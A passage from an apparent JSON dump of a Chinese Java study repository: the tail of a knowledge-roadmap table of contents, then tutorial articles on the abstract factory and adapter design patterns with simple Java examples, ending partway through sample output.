     \n        * TCP/UDP\n        \n            * 三次握手与四次关闭\n        \n            * 流量控制和拥塞控制\n        \n            * tcp粘包与拆包\n            \n        * TCP/IP\n        \n            * IPV4\n        \n            * IPV6\n        \n        * HTTP\n            * http/1.0 http/1.1 http/2之间的区别\n        \n            * http和https的区别\n        \n            * http中 get和post区别\n        \n            * 常见的web请求返回的状态码\n        \n            * 404、302、301、500分别代表什么\n        \n            * 用Java写一个简单的静态文件的HTTP服务器\n            \n        * HTTP/2\n            \n            * HTTP/2 存在哪些问题？\n            \n        * HTTP/3\n        \n        * Java RMI，Socket，HttpClient\n                \n        * cookie 与 session\n            \n            * cookie被禁用，如何实现session\n        \n        * 了解nginx和apache服务器的特性并搭建一个对应的服务器\n       \n        * 进程间通讯的方式\n            \n        * 什么是CDN？如果实现？\n            \n        * DNS？\n            \n            * 什么是DNS \n            \n            * 记录类型:A记录、CNAME记录、AAAA记录等\n            \n            * 域名解析\n            \n            * 根域名服务器\n            \n            * DNS污染\n            \n            * DNS劫持\n            \n            * 公共DNS：114 DNS、Google DNS、OpenDNS\n            \n        * 反向代理\n            \n            * 正向代理\n            \n            * 反向代理\n            \n            * 反向代理服务器\n            \n    * 框架知识\n            \n        * Servlet\n            \n            * 生命周期\n            \n            * 线程安全问题\n            \n            * filter和listener\n            \n            * web.xml中常用配置及作用\n            \n        * Hibernate\n            \n            * 什么是OR Mapping\n            \n            * Hibernate的缓存机制\n            \n            * Hibernate的懒加载\n            \n            * Hibernate/Ibatis/MyBatis之间的区别\n            \n        * MyBatis\n          \n            * Mybatis缓存机制\n              \n            * `#{}`和`${}`的区别\n              \n            * mapper中传递多个参数\n              \n            * Mybatis动态sql\n            \n            * Mybatis的延迟加载\n            \n        * Spring \n            \n            * Bean的初始化\n            \n            * AOP原理\n            \n            * Spring AOP不支持方法自调用的问题\n            \n            * 实现Spring的IOC\n            \n            * spring四种依赖注入方式\n            \n            * 为什么我不建议使用@Transactional声明事务 \n            \n        * Spring MVC\n            \n            * 什么是MVC\n            \n            * Spring mvc与Struts mvc的区别\n            \n        * Spring Boot\n            \n            * Spring Boot 2.0\n            \n            * 起步依赖\n            \n            * 自动配置\n            \n            * Spring Boot的starter原理\n            \n            * 自己实现一个starter\n            \n            * 为什么Spring Boot可以通过main启动web项目\n            \n        * Spring Security\n            \n        * Spring Cloud\n                \n            * 服务发现与注册：Eureka、Zookeeper、Consul\n                \n            * 负载均衡：Feign、Spring Cloud Loadbalance\n                \n            * 服务配置：Spring Cloud Config\n                \n            * 服务限流与熔断：Hystrix\n                \n            * 服务链路追踪：Dapper\n                \n            * 服务网关、安全、消息\n            \n    * 应用服务器知识\n            \n        * JBoss\n            \n        * tomcat\n            \n        * jetty\n            \n        * Weblogic\n            \n    * 工具\n            \n        * git & svn\n            \n        * maven & gradle\n            \n        * git技巧\n       \n            * 分支合并\n       \n            * 冲突解决\n       \n            * 提交回滚\n            \n        * maven技巧\n        \n            * 依赖树\n        \n            * 依赖仲裁\n                \n        * Intellij IDEA\n            * 常用插件：Maven Helper、FindBugs-IDEA、阿里巴巴代码规约检测、GsonFormat、Lombok plugin、.ignore、Mybatis plugin\n            \n* 高级篇\n            \n    * 新技术\n            \n        * Java 9\n            \n            * Jigsaw\n            * Jshell\n            * Reactive Streams\n            \n        * Java 10\n            \n            * 局部变量类型推断\n            * G1的并行Full GC\n            * ThreadLocal握手机制\n            \n        * Java 11\n            \n            * ZGC\n            * Epsilon\n            * 增强var\n        * Java 12\n            \n            * Switch 表达式\n            \n        * Java 13\n            \n            * Text Blocks\n            * Dynamic CDS Archives\n             \n        * Java 14\n            \n            * Java打包工具\n            \n            * 更有价值的NullPointerException\n            \n            * record类型\n            \n        * Spring 5\n            \n            * 响应式编程\n            \n        * Spring Boot 2.0\n            \n        * http/2\n                \n        * http/3\n            \n    * 性能优化\n            \n        * 使用单例\n        \n        * 使用Future模式\n        \n        * 使用线程池\n        \n        * 选择就绪\n        \n        * 减少上下文切换\n        \n        * 减少锁粒度\n        \n        * 数据压缩\n        \n        * 结果缓存\n        \n        * Stream并行流\n         \n        * GC调优\n         \n        * JVM内存分配调优\n         \n        * SQL调优\n        \n    * 线上问题分析\n            \n        * dump\n            \n            * 线程Dump\n            \n            * 内存Dump\n            \n            * gc情况\n      \n        * dump获取及分析工具\n            \n            * jstack\n            \n            * jstat\n            \n            * jmap\n            \n            * jhat\n            \n            * Arthas\n            \n        * dump分析死锁\n        \n        * dump分析内存泄露\n            \n        * 自己编写各种outofmemory，stackoverflow程序\n            \n            * HeapOutOfMemory\n            \n            * Young OutOfMemory\n            \n            * MethodArea OutOfMemory\n            \n            * ConstantPool OutOfMemory\n            \n            * DirectMemory OutOfMemory\n            \n            * Stack OutOfMemory Stack OverFlow\n            \n        * Arthas\n            \n            * jvm相关\n            \n            * class/classloader相关\n            \n            * monitor/watch/trace相关\n            \n            * options\n            \n            * 管道\n            \n            * 后台异步任务\n            \n        * 常见问题解决思路\n            \n            * 内存溢出\n            \n            * 线程死锁\n            \n            * 类加载冲突\n            \n            * load飙高\n            \n            * CPU利用率飙高\n            \n            * 慢SQL\n            \n        * 使用工具尝试解决以下问题，并写下总结\n            \n            * 当一个Java程序响应很慢时如何查找问题\n            \n            * 当一个Java程序频繁FullGC时如何解决问题\n            \n            * 如何查看垃圾回收日志\n            \n            * 当一个Java应用发生OutOfMemory时该如何解决\n            \n            * 如何判断是否出现死锁\n            \n            * 如何判断是否存在内存泄露\n            \n            * 使用Arthas快速排查Spring Boot应用404/401问题\n            \n            * 使用Arthas排查线上应用日志打满问题\n            \n            * 利用Arthas排查Spring Boot应用NoSuchMethodError\n            \n    * 编译原理知识\n            \n        * 编译与反编译\n            \n        * Java代码的编译与反编译\n            \n        * Java的反编译工具\n            \n            * javap \n            \n            * jad \n            \n            * CRF\n            \n        * 即时编译器\n        \n            * 编译器优化\n            \n    * 操作系统知识\n            \n        * Linux的常用命令\n          \n            * find、grep、ps、cp、move、tar、head、tail、netstat、lsof、tree、wget、curl、ping、ssh、echo、free、top\n            \n            * 为什么kill -9 不能随便执行\n            \n            * rm一个被打开的文件会发生什么            \n            * rm一个被打开的文件会发生什么\n            \n        * 进程间通信\n        \n        * 服务器性能指标\n          \n            * load\n          \n            * CPU利用率\n          \n            * 内存使用情况\n          \n            * qps\n          \n            * rt\n            \n        * 进程同步\n            \n            * 生产者消费者问题\n            \n            * 哲学家就餐问题\n            \n            * 读者写者问题\n            \n        * 缓冲区溢出\n            \n        * 分段和分页\n            \n        * 虚拟内存与主存\n            \n        * 虚拟内存管理\n            \n        * 换页算法\n            \n    * 数据库知识\n            \n        * MySql 执行引擎\n            \n        * MySQL 执行计划\n            \n            * 如何查看执行计划\n            \n            * 如何根据执行计划进行SQL优化\n            \n        * 索引\n            \n            * Hash索引&B树索引\n              \n            * 普通索引&唯一索引\n              \n            * 聚集索引&非聚集索引\n            \n            * 覆盖索引\n            \n            * 最左前缀原则\n            \n            * 索引下推\n            \n            * 索引失效\n            \n        * 回表\n            \n        * SQL优化\n            \n        * 数据库事务和隔离级别\n            \n            * 事务的ACID\n              \n            * 事务的隔离级别与读现象\n              \n            * 事务能不能实现锁的功能\n            \n        * 编码方式\n            \n            * utf8\n            \n            * utf8mb4\n            \n            * 为什么不要在数据库中使用utf8编码\n            \n        * 行数统计\n            \n            * count(1)、count(*)、count(字段)的区别\n            \n            * 为什么建议使用count(*)\n\n        * 数据库锁\n            \n            * 共享锁、排它锁\n              \n            * 行锁、表锁\n              \n            * 乐观锁、悲观锁\n              \n            * 使用数据库锁实现乐观锁\n              \n            * Gap Lock、Next-Key Lock\n            \n        * 连接\n            \n            * 内连接\n            \n            * 左连接\n            \n            * 右连接\n            \n        * 数据库主备搭建\n        \n        * log\n        \n            * binlog\n        \n            * redolog\n            \n        * 内存数据库\n            \n            * h2\n            \n        * 分库分表\n            \n        * 读写分离\n            \n        * 常用的nosql数据库\n            \n            * redis\n            \n            * memcached\n            \n        * Redis\n        \n            * Redis多线程 \n            \n        * 分别使用数据库锁、NoSql实现分布式锁\n            \n        * 性能调优\n            \n        * 数据库连接池\n            \n    * 数据结构与算法知识\n            \n        * 简单的数据结构\n            \n            * 栈\n            * 队列\n            \n            * 链表\n            \n            * 数组\n            \n            * 哈希表\n            \n            * 栈和队列的相同和不同之处\n            \n            * 栈通常采用的两种存储结构\n            \n            * 两个栈实现队列，和两个队列实现栈\n            \n        * 树\n            \n            * 二叉树\n            \n            * 字典树\n            \n            * 平衡树\n            \n            * 排序树\n            \n            * B树\n            \n            * B+树\n            \n            * R树\n            \n            * 多路树\n            \n            * 红黑树\n            \n        * 堆\n            \n            * 大根堆\n            \n            * 小根堆\n            \n        * 图\n            \n            * 有向图\n            \n            * 无向图\n            \n            * 拓扑\n            \n        * 稳定的排序算法\n            * 冒泡排序\n            * 插入排序\n            * 鸡尾酒排序\n            * 桶排序\n            * 计数排序\n            * 归并排序\n            * 原地归并排序\n            * 二叉排序树排序\n            * 鸽巢排序\n            * 基数排序\n            * 侏儒排序\n            * 图书馆排序\n            * 块排序\n            \n        * 不稳定的排序算法\n            * 选择排序\n            * 希尔排序\n            * Clover排序算法\n            * 梳排序\n            * 堆排序\n            * 平滑排序\n            * 快速排序\n            * 内省排序\n            * 耐心排序\n            \n        * 各种排序算法和时间复杂度 \n            \n        * 深度优先和广度优先搜索 \n            \n        * 全排列\n        \n        * 贪心算法\n        \n        * KMP算法\n        \n        * hash算法\n            \n        * 海量数据处理\n            \n            * 分治\n            * hash映射\n            * 堆排序\n            * 双层桶划分\n            * Bloom Filter\n            * bitmap\n            * 数据库索引\n            * mapreduce等。\n            \n    * 大数据知识\n            \n        * 搜索 \n        \n            * Solr\n            \n            * Lucene\n            \n            * ElasticSearch\n        \n        * 流式计算\n            \n            * Storm\n            \n            * Spark\n            \n            * Flink\n            \n        * Hadoop，离线计算\n            \n            * HDFS\n            \n            * MapReduce\n            \n        * 分布式日志收集\n        \n            * flume\n            \n            * kafka\n            \n            * logstash\n            \n        * 数据挖掘\n        \n            * mahout\n            \n    * 网络安全知识\n            \n        * XSS\n            \n            * XSS的防御\n            \n        * CSRF\n            \n        * 注入攻击\n            \n            * SQL注入\n            * XML注入\n            * CRLF注入\n            \n        * 文件上传漏洞\n            \n        * 加密与解密\n            \n            * 对称加密\n            * 非对称加密\n            * 哈希算法\n            * 加盐哈希算法\n            \n        * 加密算法\n            \n            * MD5，SHA1、DES、AES、RSA、DSA\n            \n        * 彩虹表\n            \n        * DDOS攻击\n            \n            * DOS攻击\n            * DDOS攻击\n            \n            * memcached为什么可以导致DDos攻击\n            \n            * 什么是反射型DDoS\n            \n            * 如何通过Hash碰撞进行DOS攻击\n            \n        * SSL、TLS，HTTPS\n            \n        * 脱库、洗库、撞库\n            \n* 架构篇\n\n    * 架构设计原则\n    \n        * 单一职责原则\n     \n        * 开放封闭原则\n     \n        * 里氏替代原则\n     \n        * 依赖倒置原则\n     \n        * 接口分离原则\n        \n    * 分布式\n        \n        * 分布式理论\n            \n            * 2PC\n            \n            * 3PC\n            \n            * CAP\n            \n            * BASE\n            \n        * 分布式协调 Zookeeper\n        \n            * 基本概念\n        \n            * 常见用法\n        \n            * ZAB算法\n        \n            * 脑裂\n        \n        * 分布式事务\n            * 本地事务&分布式事务\n            \n            * 可靠消息最终一致性\n            \n            * 最大努力通知\n            \n            * TCC\n                \n        * Dubbo\n            \n            * 服务注册\n            * 服务发现\n            * 服务治理\n                \n        * 分布式数据库\n            \n            * 怎样打造一个分布式数据库\n            \n            * 什么时候需要分布式数据库\n            \n            * mycat\n            \n            * otter\n            \n            * HBase\n                \n        * 分布式文件系统\n            \n            * mfs\n            * fastdfs\n                \n        * 分布式缓存\n            \n            * 缓存一致性\n            * 缓存命中率\n            * 缓存冗余\n        \n        * 限流降级\n        \n            * 熔断器模式\n            \n            * Hystrix\n            \n            * Sentinal\n            \n            * resilience4j\n            \n        * 分布式算法\n            \n            * 拜占庭问题与算法\n            \n            * 2PC\n            \n            * 3PC\n            \n            * 共识算法\n            \n            * Paxos 算法与 Raft 算法\n            \n            * ZAB算法\n            \n    * 领域驱动设计\n    \n        * 实体、值对象\n        \n        * 聚合、聚合根\n        \n        * 限界上下文\n        \n        * DDD如何分层\n        \n        * 充血模型和贫血模型\n        \n        * DDD和微服务有什么关系\n    * 微服务\n            \n       * SOA\n       \n       * 康威定律\n            \n       * ServiceMesh\n            \n          * sidecar\n            \n       * Docker & Kubernets\n            \n       * Spring Boot\n            \n       * Spring Cloud\n            \n    * 高并发\n            \n        * 分库分表\n        \n            * 横向拆分与水平拆分\n            \n            * 分库分表后的分布式事务问题\n\n        * CDN技术\n            \n        * 消息队列\n            \n            * RabbitMQ、RocketMQ、ActiveMQ、Kafka  \n\n            * 各个消息队列的对比\n            \n    * 高可用\n    \n        *  双机架构\n    \n            * 主备复制\n    \n            * 主从复制\n    \n            * 主主复制\n    \n        * 异地多活\n        \n        * 预案\n        \n        * 预热\n        \n        * 限流\n    \n    * 高性能\n    \n        * 高性能数据库\n    \n            * 读写分离\n    \n            * 分库分表\n    \n        * 高性能缓存\n    \n            * 缓存穿透\n    \n            * 缓存雪崩\n    \n            * 缓存热点\n    \n        * 负载均衡\n    \n        * PPC、TPC\n\n    * 监控\n            \n        * 监控什么\n            \n            * CPU\n            \n            * 内存\n            \n            * 磁盘I/O\n            \n            * 网络I/O\n            \n        * 监控手段\n            \n            * 进程监控\n            \n            * 语义监控\n            \n            * 机器资源监控\n            \n            * 数据波动\n            \n        * 监控数据采集\n            \n            * 日志\n            * 埋点\n            \n        * Dapper\n            \n    * 负载均衡\n    \n        * 负载均衡分类\n        \n            * 二层负载均衡\n        \n            * 三层负载均衡\n        \n            * 四层负载均衡\n        \n            * 七层负载均衡\n            \n        * 负载均衡工具\n        \n            * LVS\n        \n            * Nginx\n        \n            * HAProxy\n            \n        * 负载均衡算法\n        \n            * 静态负载均衡算法：轮询，比率，优先权\n        \n            * 动态负载均衡算法: 最少连接数,最快响应速度，观察方法，预测法，动态性能分配，动态服务器补充，服务质量，服务类型，规则模式。\n            \n    * DNS\n            \n        * DNS原理\n        \n        * DNS的设计\n            \n    * CDN\n            \n        * 数据一致性\n            \n* 扩展篇\n            \n    * 云计算\n            \n        * IaaS\n        \n        * SaaS\n        \n        * PaaS\n        \n        * 虚拟化技术\n        \n        * openstack\n        \n        * Serverlsess\n            \n    * 搜索引擎\n            \n        * Solr\n        \n        * Lucene\n        \n        * Nutch\n        \n        * Elasticsearch\n            \n    * 权限管理\n            \n        * Shiro\n            \n    * 区块链\n            \n        * 哈希算法\n        * Merkle树\n        * 公钥密码算法\n        * 共识算法\n        * Raft协议\n        * Paxos 算法与 Raft 算法\n        * 拜占庭问题与算法\n        * 消息认证码与数字签名\n            \n        * 比特币\n            \n           * 挖矿\n           * 共识机制\n           * 闪电网络\n           * 侧链\n           * 热点问题\n           * 分叉\n            \n        * 以太坊\n            \n           * 超级账本\n            \n    * 人工智能\n            \n        * 数学基础\n        * 机器学习\n        * 人工神经网络\n        * 深度学习\n        * 应用场景\n            \n        * 常用框架\n            \n            * TensorFlow\n            * DeepLearning4J\n            \n    * IoT\n            \n    * 量子计算\n            \n    * AR & VR\n            \n    * 其他语言\n            \n        * Groovy\n        \n        * Kotlin\n        \n        * Python\n        \n        * Go\n        \n        * NodeJs\n        \n        * Swift\n        \n        * Rust"
  },
  {
    "path": "docs/advance/design-patterns/abstract-factory-pattern.md",
    "content": "## 概念\n\n抽象工厂模式(Abstract Factory Pattern)：提供一个创建一系列相关或相互依赖对象的接口，而无须指定它们具体的类。抽象工厂模式又称为Kit模式，属于对象创建型模式。\n\n抽象工厂模式提供了一种方式，可以将同一产品族的单独的工厂封装起来。在正常使用中，客户端程序需要创建抽象工厂的具体实现，然后使用抽象工厂作为接口来创建这一主题的具体对象。客户端程序不需要知道（或关心）它从这些内部的工厂方法中获得对象的具体类型，因为客户端程序仅使用这些对象的通用接口。抽象工厂模式将一组对象的实现细节与他们的一般使用分离开来。\n\n### 产品族\n\n来认识下什么是产品族: 位于不同产品等级结构中,功能相关的产品组成的家族。如下面的例子，就有两个产品族：跑车族和商务车族。\n\n[<img src=\"http://www.hollischuang.com/wp-content/uploads/2016/04/QQ20160419-0.png\" alt=\"QQ20160419-0\" width=\"637\" height=\"408\" class=\"alignnone size-full wp-image-1421\" />][5]\n\n## 用途\n\n抽象工厂模式和工厂方法模式一样，都符合开放-封闭原则。但是不同的是，工厂方法模式在增加一个具体产品的时候，都要增加对应的工厂。但是抽象工厂模式只有在新增一个类型的具体产品时才需要新增工厂。也就是说，工厂方法模式的一个工厂只能创建一个具体产品。而抽象工厂模式的一个工厂可以创建属于一类类型的多种具体产品。工厂创建产品的个数介于简单工厂模式和工厂方法模式之间。\n\n在以下情况下可以使用抽象工厂模式：\n\n> 一个系统不应当依赖于产品类实例如何被创建、组合和表达的细节，这对于所有类型的工厂模式都是重要的。\n> \n> 系统中有多于一个的产品族，而每次只使用其中某一产品族。\n> \n> 属于同一个产品族的产品将在一起使用，这一约束必须在系统的设计中体现出来。\n> \n> 系统提供一个产品类的库，所有的产品以同样的接口出现，从而使客户端不依赖于具体实现。\n\n## 实现方式\n\n抽象工厂模式包含如下角色：\n\n> AbstractFactory(抽象工厂)：用于声明生成抽象产品的方法\n> \n> ConcreteFactory(具体工厂)：实现了抽象工厂声明的生成抽象产品的方法，生成一组具体产品，这些产品构成了一个产品族，每一个产品都位于某个产品等级结构中；\n> \n> AbstractProduct(抽象产品)：为每种产品声明接口，在抽象产品中定义了产品的抽象业务方法；\n> \n> Product(具体产品)：定义具体工厂生产的具体产品对象，实现抽象产品接口中定义的业务方法。\n\n本文的例子采用一个汽车代工厂造汽车的例子。假设我们是一家汽车代工厂商，我们负责给奔驰和特斯拉两家公司制造车子。我们简单的把奔驰车理解为需要加油的车，特斯拉为需要充电的车。其中奔驰车中包含跑车和商务车两种，特斯拉同样也包含跑车和商务车。\n\n[<img src=\"http://www.hollischuang.com/wp-content/uploads/2016/04/QQ20160419-1.png\" alt=\"QQ20160419-1\" width=\"657\" height=\"554\" class=\"alignnone size-full wp-image-1422\" />][6]\n\n以上场景，我们就可以把跑车和商务车分别对待，对于跑车有单独的工厂创建，商务车也有单独的工厂。这样，以后无论是再帮任何其他厂商造车，只要是跑车或者商务车我们都不需要再引入工厂。同样，如果我们要增加一种其他类型的车，比如越野车，我们也不需要对跑车或者商务车的任何东西做修改。\n\n下面是抽象产品，奔驰车和特斯拉车：\n\n    public interface BenzCar {\n    \n        //加汽油\n        public void gasUp();\n    \n    }\n    \n    public interface TeslaCar {\n    \n        //充电\n        public void charge();\n    }\n    \n\n下面是具体产品，奔驰跑车、奔驰商务车、特斯拉跑车、特斯拉商务车：\n\n    public class BenzSportCar implements BenzCar {\n        public void gasUp() {\n            System.out.println(\"给我的奔驰跑车加最好的汽油\");\n        }\n    }\n    \n    public class BenzBusinessCar implements BenzCar{\n        public void gasUp() {\n            System.out.println(\"给我的奔驰商务车加一般的汽油\");\n        }\n    }\n    \n    public class TeslaSportCar implements TeslaCar {\n        public void charge() {\n            System.out.println(\"给我特斯拉跑车冲满电\");\n        }\n    }\n    \n    public class TeslaBusinessCar implements TeslaCar {\n        public void charge() {\n            System.out.println(\"不用给我特斯拉商务车冲满电\");\n        }\n    }\n    \n\n下面是抽象工厂：\n\n    public interface CarFactory {\n    \n        public BenzCar getBenzCar();\n        public TeslaCar getTeslaCar();\n    }\n    \n\n下面是具体工厂：\n\n    public class SportCarFactory implements CarFactory {\n        public BenzCar getBenzCar() {\n            return new BenzSportCar();\n        }\n    \n        public TeslaCar getTeslaCar() {\n            return new TeslaSportCar();\n        }\n    }\n    \n    public class BusinessCarFactory implements CarFactory {\n        public BenzCar getBenzCar() {\n            return new BenzBusinessCar();\n        }\n    \n        public TeslaCar getTeslaCar() {\n            return new TeslaBusinessCar();\n        }\n    }\n    \n\n## “开闭原则”的倾斜性\n\n“开闭原则”要求系统对扩展开放，对修改封闭，通过扩展达到增强其功能的目的。对于涉及到多个产品族与多个产品等级结构的系统，其功能增强包括两方面：\n\n> 增加产品族：对于增加新的产品族，工厂方法模式很好的支持了“开闭原则”，对于新增加的产品族，只需要对应增加一个新的具体工厂即可，对已有代码无须做任何修改。\n> \n> 增加新的产品等级结构：对于增加新的产品等级结构，需要修改所有的工厂角色，包括抽象工厂类，在所有的工厂类中都需要增加生产新产品的方法，不能很好地支持“开闭原则”。\n\n抽象工厂模式的这种性质称为“开闭原则”的倾斜性，抽象工厂模式以一种倾斜的方式支持增加新的产品，它为新产品族的增加提供方便，但不能为新的产品等级结构的增加提供这样的方便。\n\n## 三种工厂模式之间的关系\n\n当抽象工厂模式中每一个具体工厂类只创建一个产品对象，也就是只存在一个产品等级结构时，抽象工厂模式退化成工厂方法模式；\n\n抽象工厂模式与工厂方法模式最大的区别在于，工厂方法模式针对的是一个产品等级结构，而抽象工厂模式则需要面对多个产品等级结构。\n\n当工厂方法模式中抽象工厂与具体工厂合并，提供一个统一的工厂来创建产品对象，并将创建对象的工厂方法设计为静态方法时，工厂方法模式退化成简单工厂模式。\n\n## 总结\n\n抽象工厂模式提供一个创建一系列相关或相互依赖对象的接口，而无须指定它们具体的类。抽象工厂模式又称为Kit模式，属于对象创建型模式。\n\n抽象工厂模式是所有形式的工厂模式中最为抽象和最具一般性的一种形态。\n\n抽象工厂模式的主要优点是隔离了具体类的生成，使得客户并不需要知道什么被创建，而且每次可以通过具体工厂类创建一个产品族中的多个对象，增加或者替换产品族比较方便，增加新的具体工厂和产品族很方便；主要缺点在于增加新的产品等级结构很复杂，需要修改抽象工厂和所有的具体工厂类，对“开闭原则”的支持呈现倾斜性。\n\n文中所有代码见[GitHub][7]\n\n## 参考资料\n\n[大话设计模式][8]\n\n[深入浅出设计模式][9]\n\n[抽象工厂模式(Factory Method Pattern)][10]\n\n [1]: http://www.hollischuang.com/archives/category/%E7%BB%BC%E5%90%88%E5%BA%94%E7%94%A8/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F\n [2]: http://www.hollischuang.com/archives/1401\n [3]: http://www.hollischuang.com/archives/1408\n [4]: http://www.hollischuang.com/archives/1391\n [5]: http://www.hollischuang.com/wp-content/uploads/2016/04/QQ20160419-0.png\n [6]: http://www.hollischuang.com/wp-content/uploads/2016/04/QQ20160419-1.png\n [7]: https://github.com/hollischuang/DesignPattern\n [8]: http://s.click.taobao.com/t?e=m=2&s=R5B/xd29JVMcQipKwQzePOeEDrYVVa64K7Vc7tFgwiHjf2vlNIV67jN2wQzI0ZBVHBMajAjK1gBpS4hLH/P02ckKYNRBWOBBey11vvWwHXSniyi5vWXIZkKWZZq7zWpCC8X3k5aQlui0qVGgqDL2o8YMXU3NNCg/&pvid=10_42.120.73.203_224_1460382841310\n [9]: http://s.click.taobao.com/t?e=m%3D2%26s%3DObpq8Qxse2EcQipKwQzePOeEDrYVVa64K7Vc7tFgwiHjf2vlNIV67utJaEGcptl2kfkm8XrrgBtpS4hLH%2FP02ckKYNRBWOBBey11vvWwHXTpkOAWGyim%2Bw2PNKvM2u52N5aP5%2Bgx7zgh4LxdBQDQSXEqY%2Bakgpmw&pvid=10_121.0.29.199_322_1460465025379\n [10]: http://design-patterns.readthedocs.org/zh_CN/latest/creational_patterns/abstract_factory.html#id14"
  },
  {
    "path": "docs/advance/design-patterns/adapter-pattern.md",
    "content": "\n## 概念\n\nGOF是这样给适配器模式(`Adapter`)定义的：将一个类的接口转化成用户需要的另外一个接口。Adapter模式使得原本由于接口不兼容而不能一起工作的那些类可以一起工作。\n\nGOF中将适配器模式分为类适配器模式和对象适配器模式。区别仅在于适配器角色对于被适配角色的适配是通过继承还是组合来实现的。由于在Java 中不支持多重继承，而且有破坏封装之嫌。而且我们也提倡[多用组合少用继承][2]。所以本文主要介绍对象适配器。\n\n## 用途\n\n相信大家都有这样的生活常识：就是目前我们使用的电子设备充电器的型号是不一样的。现在主流的手机充电器口主要包含Mini Usb、Micro Usb和Lightning三种。其中Mini Usb广泛出现在读卡器、MP3、数码相机以及移动硬盘上。由于Micro Usb比Mini Usb更薄，所有广泛应用于手机上，常见于安卓手机。还有一个比较常见的充电器口就是苹果手机常用的Lightning。\n\n当然，特定型号的手机只能使用特定型号的充电器充电。比如Iphone6手机只能使用Lightning接口的充电器进行充电。但是，如果我们身边只有一条安卓的Micro Usb充电器线的话，我们能不能为苹果手机充电呢？答案是肯定的，只要有一个适配器就可以了。\n\n<img src=\"http://www.hollischuang.com/wp-content/uploads/2016/05/adapter-300x300.jpg\" alt=\"adapter\" width=\"300\" height=\"300\" class=\"aligncenter size-medium wp-image-1501\" />\n\n适配器，在我们日常生活中随处可见。适配器模式也正是解决了类似的问题。\n\n在程序设计过程中我们可能也遇到类似的场景：\n\n> 1、系统需要使用现有的类，而此类的接口不符合系统的需要。\n> \n> 2、想要建立一个可以重复使用的类，用于与一些彼此之间没有太大关联的一些类，包括一些可能在将来引进的类一起工作，这些源类不一定有一致的接口。\n> \n> 3、通过接口转换，将一个类插入另一个类系中。（比如老虎和飞禽，现在多了一个飞虎，在不增加实体的需求下，增加一个适配器，在里面包容一个虎对象，实现飞的接口。）\n\n以上场景都适合使用适配器模式。\n\n## 实现方式\n\n适配器模式包含如下角色：\n\n> Target：目标抽象类\n> \n> Adapter：适配器类\n> \n> Adaptee：适配者类\n> \n> Client：客户类\n\n<img src=\"http://www.hollischuang.com/wp-content/uploads/2016/05/Adapter-pattern.jpg\" alt=\"Adapter-pattern\" width=\"724\" height=\"313\" class=\"aligncenter size-full wp-image-1520\" />\n\n这里采用文章开头介绍的手机充电口的例子，我们定义一个适配器，该适配器的功能就是使用安卓充电器给苹果设备充电。\n\n先定义接口：\n\n    /**\n     * MicroUsb充电器接口\n     */\n    public interface MicroUsbInterface {\n        public void chargeWithMicroUsb();\n    }\n    \n    /**\n     * Lightning充电器接口\n     */\n    public interface LightningInterface {\n        public void chargeWithLightning();\n    }\n    \n\n定义具体的实现类\n\n    /**\n     * 安卓设备的充电器\n     */\n    public class AndroidCharger implements MicroUsbInterface {\n        @Override\n        public void chargeWithMicroUsb() {\n            System.out.println(\"使用MicroUsb型号的充电器充电...\");\n        }\n    }\n    \n    /**\n     * 苹果设备的充电器\n     */\n    public class AppleCharger implements LightningInterface {\n        @Override\n        public void chargeWithLightning() {\n            System.out.println(\"使用Lightning型号的充电器充电...\");\n        }\n    }\n    \n\n> 因为我们要使用适配器模式将MicroUsb转成Lightning，所以这里的AppleCharger是本来不需要定义的。因为我们使用适配器的目的就是代替新建一个他。这里定义出来是为了使例子更加完整。\n\n定义两个手机\n\n    public class Iphone6Plus {\n    \n        private LightningInterface lightningInterface;\n    \n        public Iphone6Plus() {\n        }\n    \n        public Iphone6Plus(LightningInterface lightningInterface) {\n            this.lightningInterface = lightningInterface;\n        }\n    \n        public void charge() {\n            System.out.println(\"开始给我的Iphone6Plus手机充电...\");\n            lightningInterface.chargeWithLightning();\n            System.out.println(\"结束给我的Iphone6Plus手机充电...\");\n        }\n    \n        public LightningInterface getLightningInterface() {\n            return lightningInterface;\n        }\n    \n        public void setLightningInterface(LightningInterface lightningInterface) {\n            this.lightningInterface = lightningInterface;\n        }\n    }\n    \n    public class GalaxyS7 {\n    \n        private MicroUsbInterface microUsbInterface;\n    \n        public GalaxyS7() {\n        }\n    \n        public GalaxyS7(MicroUsbInterface microUsbInterface) {\n            this.microUsbInterface = microUsbInterface;\n        }\n    \n        public void charge(){\n            System.out.println(\"开始给我的GalaxyS7手机充电...\");\n            microUsbInterface.chargeWithMicroUsb();\n            System.out.println(\"结束给我的GalaxyS7手机充电...\");\n        }\n    \n        public MicroUsbInterface getMicroUsbInterface() {\n            return microUsbInterface;\n        }\n    \n        public void setMicroUsbInterface(MicroUsbInterface microUsbInterface) {\n            this.microUsbInterface = microUsbInterface;\n        }\n    }\n    \n\n这里定义手机的作用是为了更方便的理解适配器模式，在该模式中他不扮演任何角色。\n\n定义适配器\n\n    /**\n     * 适配器,将MicroUsb接口转成Lightning接口\n     */\n    public class Adapter implements LightningInterface {\n        private MicroUsbInterface microUsbInterface;\n    \n        public Adapter() {\n        }\n    \n        public Adapter(MicroUsbInterface microUsbInterface) {\n            this.microUsbInterface = microUsbInterface;\n        }\n    \n        @Override\n        public void chargeWithLightning() {\n            microUsbInterface.chargeWithMicroUsb();\n        }\n    \n        public MicroUsbInterface getMicroUsbInterface() {\n            return microUsbInterface;\n        }\n    \n        public void setMicroUsbInterface(MicroUsbInterface microUsbInterface) {\n            this.microUsbInterface = microUsbInterface;\n        }\n    }\n    \n\n该适配器的功能是把一个MicroUsb转换成Lightning。实现方式是实现目标类的接口（`LightningInterface`），然后使用组合的方式，在该适配器中定义microUsb。然后在重写的`chargeWithLightning（）`方法中，采用microUsb的方法来实现具体细节。\n\n定义客户端\n\n    public class Main {\n    \n        public static void main(String[] args) {\n            Iphone6Plus iphone6Plus = new Iphone6Plus(new AppleCharger());\n            iphone6Plus.charge();\n    \n            System.out.println(\"==============================\");\n    \n            GalaxyS7 galaxyS7 = new GalaxyS7(new AndroidCharger());\n            galaxyS7.charge();\n    \n            System.out.println(\"==============================\");\n    \n            Adapter adapter  = new Adapter(new AndroidCharger());\n            Iphone6Plus newIphone = new Iphone6Plus();\n            newIphone.setLightningInterface(adapter);\n            newIphone.charge();\n        }\n    }\n    \n\n输出结果：\n\n    开始给我的Iphone6Plus手机充电...\n    使用Lightning型号的充电器充电...\n    结束给我的Iphone6Plus手机充电...\n    ==============================\n    开始给我的GalaxyS7手机充电...\n    使用MicroUsb型号的充电器充电...\n    结束给我的GalaxyS7手机充电...\n    ==============================\n    